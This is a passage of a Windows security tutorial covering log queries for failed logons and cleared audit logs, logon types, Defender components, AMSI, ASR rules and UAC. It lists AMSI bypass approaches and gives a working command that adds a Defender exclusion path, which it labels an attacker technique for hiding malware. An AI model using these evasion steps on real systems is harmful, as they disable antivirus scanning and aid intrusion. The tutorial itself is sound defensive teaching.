&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TimeCreated&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Format-List&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Find all failed logons in last 24 hours&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;LogName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Security'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4625&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;StartTime&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Get&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Date&lt;/span&gt;&lt;span class="err"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;AddDays&lt;/span&gt;&lt;span class="err"&gt;(-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$xml&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;xml&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ToXml&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PSCustomObject&lt;/span&gt;&lt;span class="p"&gt;]@{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nx"&gt;Time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TimeCreated&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nx"&gt;TargetUser&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$xml&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Event&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;EventData&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Where&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'TargetUserName'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Select&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;ExpandProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'#text'&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nx"&gt;WorkstationName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$xml&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Event&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;EventData&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Where&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'WorkstationName'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Select&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;ExpandProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'#text'&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nx"&gt;IpAddress&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$xml&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Event&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;EventData&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Where&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'IpAddress'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Select&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;ExpandProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'#text'&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Check if audit log was cleared (immediate red flag)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;LogName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Security'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1102&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TimeCreated&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Message&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Logon Types — Critical for Understanding Authentication Events:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Security Context&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Interactive&lt;/td&gt;
&lt;td&gt;Physical or console logon&lt;/td&gt;
&lt;td&gt;Normal user login&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Network&lt;/td&gt;
&lt;td&gt;SMB, named pipes&lt;/td&gt;
&lt;td&gt;Lateral movement, file shares&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Batch&lt;/td&gt;
&lt;td&gt;Scheduled tasks&lt;/td&gt;
&lt;td&gt;Persistence mechanisms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Service&lt;/td&gt;
&lt;td&gt;Service startup&lt;/td&gt;
&lt;td&gt;Service account activity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Unlock&lt;/td&gt;
&lt;td&gt;Workstation unlock&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;NetworkCleartext&lt;/td&gt;
&lt;td&gt;Cleartext credentials over network&lt;/td&gt;
&lt;td&gt;IIS basic auth, legacy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;NewCredentials&lt;/td&gt;
&lt;td&gt;RunAs with /netonly&lt;/td&gt;
&lt;td&gt;Pass-the-Hash, impersonation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;RemoteInteractive&lt;/td&gt;
&lt;td&gt;RDP&lt;/td&gt;
&lt;td&gt;Remote access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;CachedInteractive&lt;/td&gt;
&lt;td&gt;Cached domain credentials&lt;/td&gt;
&lt;td&gt;Offline domain logon&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Analyst Note:&lt;/strong&gt; Logon Type 3 (Network) events are the backbone of lateral movement detection. When an attacker moves from machine to machine using Pass-the-Hash or stolen credentials, each authentication generates a Type 3 logon event. Correlating Type 3 events across machines reveals the attacker's path through the network.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  6.3 msconfig — System Configuration
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;msconfig.exe&lt;/code&gt; (System Configuration) is a GUI tool for managing startup items, services, and boot options. Primarily useful for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Boot tab&lt;/strong&gt; — Safe mode options, boot logging, enabling boot debugging (useful for kernel analysis)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Services tab&lt;/strong&gt; — Enable/disable services at startup&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Startup tab&lt;/strong&gt; — Legacy startup item management (modern Windows redirects this to Task Manager)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Security Relevance:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;msconfig&lt;/code&gt; is less relevant for security work than Autoruns (which shows far more locations) but understanding it is important because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Attackers sometimes disable security services through msconfig&lt;/li&gt;
&lt;li&gt;Malware occasionally adds boot configuration changes&lt;/li&gt;
&lt;li&gt;"Safe boot" mode is used during malware removal to prevent malware from loading&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  7. Windows Defender
&lt;/h2&gt;
&lt;h3&gt;
  
  
  7.1 Windows Defender Architecture
&lt;/h3&gt;

&lt;p&gt;Windows Defender (officially &lt;strong&gt;Microsoft Defender Antivirus&lt;/strong&gt;) is a full-featured security suite built into Windows. It has evolved dramatically — from a basic antispyware tool in Windows Vista to a competitive enterprise-grade security product.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key Components:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Windows Security (GUI)
    ↓
Microsoft Defender Antivirus Service (WinDefend)
    ├── Real-time Protection Engine
    │   ├── IOAV (I/O Access Validation) — scans files on access
    │   ├── Behaviour Monitoring — watches process behaviour
    │   └── Network Inspection System (NIS)
    ├── Signature-based Detection
    │   └── VDM files (definition updates)
    ├── Cloud-based Protection (MAPS)
    │   └── Submits suspicious files to Microsoft for analysis
    ├── Controlled Folder Access — ransomware protection
    └── Attack Surface Reduction (ASR) Rules
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;AMSI — Anti-Malware Scan Interface:&lt;/strong&gt;&lt;br&gt;
This is one of the most important Windows security features for understanding the cat-and-mouse game between attackers and defenders.&lt;/p&gt;

&lt;p&gt;AMSI provides a standardised interface that security products (Defender and third-party) can hook into to scan &lt;strong&gt;script content at runtime&lt;/strong&gt; — PowerShell scripts, VBScript, JavaScript, and other interpreted languages — before execution.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PowerShell script execution path:
Script content → AMSI Provider (Defender) → Scan → Malicious? Block : Execute
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Before AMSI, attackers could simply base64-encode a PowerShell payload and antivirus could not see it because it only scanned the file, not the decoded script content. AMSI scans the decoded, in-memory content.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AMSI Bypass Techniques (for understanding, not abuse):&lt;/strong&gt;&lt;br&gt;
Attackers have developed numerous AMSI bypass techniques, making this an ongoing arms race:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# AMSI works by scanning content via AmsiScanBuffer() in amsi.dll&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Bypass approach 1 (patched, historical): Patch the return value&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Bypass approach 2: Reflection to set amsiInitFailed = true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Bypass approach 3: Obfuscation to avoid signature patterns&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Bypass approach 4: Use .NET assemblies loaded in a way that doesn't invoke AMSI&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Defenders detect AMSI bypass attempts via:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# - PowerShell script block logging (Event ID 4104)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# - Memory patching of amsi.dll&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# - Behavioural indicators of common bypass patterns&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Understanding AMSI is directly relevant to both offensive (bypassing it during a pentest) and defensive (detecting bypass attempts via Event Viewer) work.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.2 Attack Surface Reduction (ASR) Rules
&lt;/h3&gt;

&lt;p&gt;ASR rules are one of the most underutilised but powerful features of modern Defender. They block specific attack techniques at the policy level:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Rule&lt;/th&gt;
&lt;th&gt;What It Blocks&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Block Office apps from creating child processes&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;winword.exe&lt;/code&gt; spawning &lt;code&gt;cmd.exe&lt;/code&gt; — classic maldoc technique&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block Office macros from Win32 API calls&lt;/td&gt;
&lt;td&gt;Macro-based malware calling Windows APIs directly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block credential stealing from LSASS&lt;/td&gt;
&lt;td&gt;Mimikatz-style attacks against LSASS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block process creation from PSExec and WMI&lt;/td&gt;
&lt;td&gt;Lateral movement via PSExec/WMI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block untrusted/unsigned executables from USB&lt;/td&gt;
&lt;td&gt;USB-delivered malware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block JavaScript/VBScript launching executables&lt;/td&gt;
&lt;td&gt;Script-based downloaders&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check current ASR rules status&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-MpPreference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ExpandProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AttackSurfaceReductionRules_Ids&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-MpPreference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ExpandProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AttackSurfaceReductionRules_Actions&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Enable aggressive ASR rules (Audit mode first, then Block)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Set-MpPreference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-AttackSurfaceReductionRules_Ids&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;GUID&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-AttackSurfaceReductionRules_Actions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AuditMode&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.3 Exclusions — The Defender Achilles Heel
&lt;/h3&gt;

&lt;p&gt;Defender exclusions are configured paths, processes, or file types that Defender will not scan. They are a necessary feature for performance in some environments but are routinely abused:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check existing exclusions — attackers check this during post-exploitation&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-MpPreference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ExclusionPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ExclusionProcess&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ExclusionExtension&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Common attack technique: Add an exclusion for your malware's location&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Set-MpPreference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ExclusionPath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\Users\Public\Tools"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Now anything in that path will not be scanned&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Real-world abuse:&lt;/strong&gt; Many legitimate software products add broad exclusions during installation for performance reasons. Attackers identify these exclusions and place their malware in the excluded paths. Regularly auditing Defender exclusions is an important hardening step.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. UAC — User Account Control
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 What UAC Is and Why It Exists
&lt;/h3&gt;

&lt;p&gt;UAC (User Account Control) was introduced in Windows Vista to address a fundamental problem: users were routinely running as local Administrators, meaning every application they ran — including malware — had full administrative privileges.&lt;/p&gt;

&lt;p&gt;UAC implements the &lt;strong&gt;principle of least privilege&lt;/strong&gt; for interactive users by creating two tokens at logon time:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A &lt;strong&gt;filtered token&lt;/strong&gt; with administrative privileges removed — used for normal operations&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;full administrator token&lt;/strong&gt; — used only when explicitly elevated
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Admin user logs in:
    ├── Filtered Token (Medium integrity) → used for explorer.exe, applications
    └── Full Token (High integrity) → used only after UAC prompt consent
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means even a local Administrator runs at Medium integrity level day-to-day and must explicitly consent to elevation.&lt;/p&gt;

&lt;h3&gt;
  
  
  8.2 UAC Elevation Flow
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User double-clicks installer.exe
        ↓
Windows checks: does this need admin? (manifest, installer heuristics)
        ↓
UAC prompt displayed on Secure Desktop
(Secure Desktop: a separate desktop that user apps cannot interact with)
        ↓
User clicks Yes (or provides credentials if standard user)
        ↓
New elevated process created with High integrity token
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;strong&gt;Secure Desktop&lt;/strong&gt; is crucial — it prevents malware from programmatically clicking "Yes" on the UAC prompt by running the prompt on a separate desktop that only the kernel can draw on.&lt;/p&gt;

&lt;h3&gt;
  
  
  8.3 UAC Settings and Their Security Implications
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Always notify (most secure)
    → Prompt for ALL changes, on secure desktop

Notify only when apps try to make changes (default)
    → Prompt for app changes on secure desktop
    → No prompt for Windows settings changes

Notify but not on secure desktop
    → Prompt displayed on normal desktop
    → Malware CAN spoof this by drawing over it or sending programmatic clicks

Never notify (worst)
    → UAC completely disabled
    → All processes run with full admin token
    → Equivalent to pre-Vista security model
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check current UAC setting&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ItemProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;EnableLUA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ConsentPromptBehaviorAdmin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PromptOnSecureDesktop&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# EnableLUA = 1 means UAC is enabled&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# ConsentPromptBehaviorAdmin: 2=prompt for credentials, 5=prompt for consent (default)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# PromptOnSecureDesktop: 1=secure desktop (default), 0=normal desktop (insecure)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
